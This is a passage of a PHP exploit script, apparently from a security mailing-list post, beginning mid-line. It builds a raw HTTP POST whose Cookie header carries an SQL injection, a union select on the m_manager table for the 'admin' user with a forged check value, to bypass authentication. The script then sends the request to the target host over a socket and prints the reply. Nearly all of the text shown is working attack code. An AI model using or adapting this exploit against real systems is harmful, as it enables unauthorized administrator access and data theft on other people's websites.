|
http://$host$path\r\n";=0D
$message .= "Accept-Language: zh-cn\r\n";=0D
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";=0D
$message .= "User-Agent: securitylab\r\n";=0D
$message .= "X-Forwarded-For:1.1.1.1\r\n";=0D
$message .= "Host: $host\r\n";=0D
$message .= "Content-Length: ".strlen($cmd)."\r\n";=0D
$message .= "Cookie: m_username=securitylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d1088456838f524ae9d7\r\n";=0D
$message .= "Connection: Close\r\n\r\n";=0D
$message .= $cmd;=0D
echo $message;=0D
=0D
$fp = fsockopen($host, 80);=0D
fputs($fp, $message);=0D
=0D
$resp = '';=0D
=0D
while ($fp && !feof($fp))=0D
$resp .= fread($fp, 1024);=0D
echo $resp;=0D
return $resp;=0D
}=0D
?>